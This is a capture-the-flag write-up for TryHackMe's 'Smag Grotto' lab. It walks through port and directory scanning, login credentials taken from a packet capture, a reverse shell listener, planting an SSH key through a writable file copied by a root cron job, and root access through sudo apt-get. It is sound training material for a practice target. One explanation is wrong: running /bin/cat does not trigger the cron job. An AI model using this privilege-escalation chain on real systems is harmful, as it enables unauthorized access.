TryHackMe: Smag Grotto
Smag Grotto was perfect, no looking up write-ups or walkthroughs. It was indeed easy but it is still progress, very fun, didn’t get lost or anything and i wasn’t 100% focused but still went very well so overall was awesome.
https://tryhackme.com/room/smaggrotto
Initial Enumeration
Nmap Scan
We start with our nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- 10.10.91.166
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-10 16:43 GMT
Nmap scan report for 10.10.91.166
Host is up (0.053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
| 256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|_ 256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Smag
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.74 seconds
Web 80
Not much to look at so we go to port 80:
Gobuster Scan
We don’t find anything on the page nor the source code so we proceed to the gobuster scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -x ".txt,.html,.php" -t 25 --timeout 20s -u http://10.10.91.166:80/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.91.166:80/
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/.html (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/.hta.txt (Status: 403) [Size: 277]
/.hta.php (Status: 403) [Size: 277]
/.hta.html (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htaccess.txt (Status: 403) [Size: 277]
/.htaccess.html (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/.htpasswd.txt (Status: 403) [Size: 277]
/.htpasswd.html (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 402]
/index.php (Status: 200) [Size: 402]
/mail (Status: 301) [Size: 311] [--> http://10.10.91.166/mail/]
/server-status (Status: 403) [Size: 277]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
We find a directory called mail
, and going to it we find the following:
There are some names and interesting info but we will focus on the pcap
file.
After downloading the file and opening it we see a single login request to development.smag.thm
and its credentials:
To get to this website we first need to add it to the /etc/hosts
file:
After that we can access it and get to the login page:
We can now insert the credentials we got from the wireshark file and login.
Inside we have one single page with the option to run commands:
Shell as www-data
From here we can get a reverse shell to have better control and to do so we just have to get a listener in our machine and run the following command on the website:
We are then inside www-data:
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -vlnp 4444
listening on [any] 4444 ...
connect to [10.23.58.75] from (UNKNOWN) [10.10.91.166] 33726
bash: cannot set terminal process group (718): Inappropriate ioctl for device
bash: no job control in this shell
www-data@smag:/var/www/development.smag.thm$
Shell as jake
We can’t do much as www-data so we start enumerating, and looking at the crontab
file we find an interesting file inside the /opt/.backups/
directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@smag:/tmp$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
We can try to exploit it but first we need to check its permissions. And we see that we can read and write to it:
1
2
3
4
5
6
7
8
www-data@smag:/opt/.backups$ ls -la
ls -la
total 12
drwxr-xr-x 2 root root 4096 Jun 4 2020 .
drwxr-xr-x 3 root root 4096 Jun 4 2020 ..
-rw-rw-rw- 1 root root 563 Jun 5 2020 jake_id_rsa.pub.backup
www-data@smag:/opt/.backups$ cat jake_id_rsa.pub.backup
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5HGAnm2nNgzDW9OPAZ9dP0tZbvNrIJWa/swbWX1dogZPCFYn8Ys3P7oNPyzXS6ku72pviGs5kQsxNWpPY94bt2zvd1J6tBw5g64ox3BhCG4cUvuI5zEi7y+xnIiTs5/MoF/gjQ2IdNDdvMs/hDj4wc2x8TFLPlCmR1b/uHydkuvdtw9WzZN1O+Ax3yEkMfB8fO3F7UqN2798wBPpRNNysQ+59zIUbV9kJpvARBILjIupikOsTs8FMMp2Um6aSpFKWzt15na0vou0riNXDTgt6WtPYxmtv1AHE4VdD6xFJrM5CGffGbYEQjvJoFX2+vSOCDEFZw1SjuajykOaEOfheuY96Ao3f41m2Sn7Y9XiDt1UP4/Ws+kxfpX2mN69+jsPYmIKY72MSSm27nWG3jRgvPZsFgFyE00ZTP5dtrmoNf0CbzQBriJUa596XEsSOMmcjgoVgQUIr+WYNGWXgpH8G+ipFP/5whaJiqPIfPfvEHbT4m5ZsSaXuDmKercFeRDs= kali@kali
What we could do is generate our own key, send it to the file and trigger the /bin/cat
to get our key inside jake’s autorized_keys
. First we will generate a key with ssh-keygen
with no password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:cuCM0nLc0JDtj0bZBiFzAmXuUyGCt07Rk/l8sXfUM9s kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| .o+O=+. . |
|. o+*Oo.. . + |
| . oo=++ o . = |
| o+ B*.= . . . E|
| oo B.==S. . |
| .+ .oo. |
| . |
| |
| |
+----[SHA256]-----+
Now we send the key to the backup file:
1
2
3
www-data@smag:/opt/.backups$ echo '...key...' > jake_id_rsa.pub.backup
www-data@smag:/opt/.backups$ cat jake_id_rsa.pub.backup
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClQKf6HO0cE5GaVTatHcGligxyUVxWYMc+D+nLFOnVr6T4kB0AYJQZ8Gv8NFfpWnwnT7Rbopco6DqnuIGSNh1aCicBeo+TRBlsOEVmd1mkVjegOKQMInkkkpcf4maW5JTv9kFGFdhZfUoT04ghT1/TyaT19PibqkC9trUt9SryXFaFC9CtdkWhbiIERbD2qZsupH3I7iMJrOlbUa7+uZUfX2TibDFI84ssO8lGl42wIhFJD89pU7Z9izKanq3TaHOahcQf3GAHF57DMSiuL0uY5QC059YWy8wVRseDOIERBlfNKCm96JOP3Lkk6mEX/ZrbN+gGlEP/iQgX/0ZbA9vS2xZNHnLtxTZVGgRpwxG+2L9tLTf26nYJEo8vaUIegUWc75n7z2rmpDQC/oWJ0AjkMSsTwr09XdaqeE3ZFxhVka9VqWKjH8s0d4ilUBu12IMlJIEDqabNbrp/xf8gEYIe4cGz4vntrd+zNb8VFX3Lui1ZBt97bLAJtBBbpxFEgpU= kali@kali
In Bash, > overwrites a file, while » appends to it.
And lastly we trigger the /bin/cat/
:
1
2
www-data@smag:/opt/.backups$ /bin/cat
/bin/cat
We can now log into jake and read the user flag:
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa jake@10.10.91.166
jake@smag:~$ ls
user.txt
jake@smag:~$ cat user.txt
[REDACTED]
Shell as root
While enumerating, doing sudo -l
we see that we have sudo permissions to run apt-get
:
1
2
3
4
5
6
jake@smag:/$ sudo -l
Matching Defaults entries for jake on smag:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on smag:
(ALL : ALL) NOPASSWD: /usr/bin/apt-get
A quick search on GTFOBins and we see that running the following we get root:
1
2
3
jake@smag:/tmp$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
And now we can read the root flag:
1
2
3
4
5
# cd /root
# ls
root.txt
# cat root.txt
[REDACTED]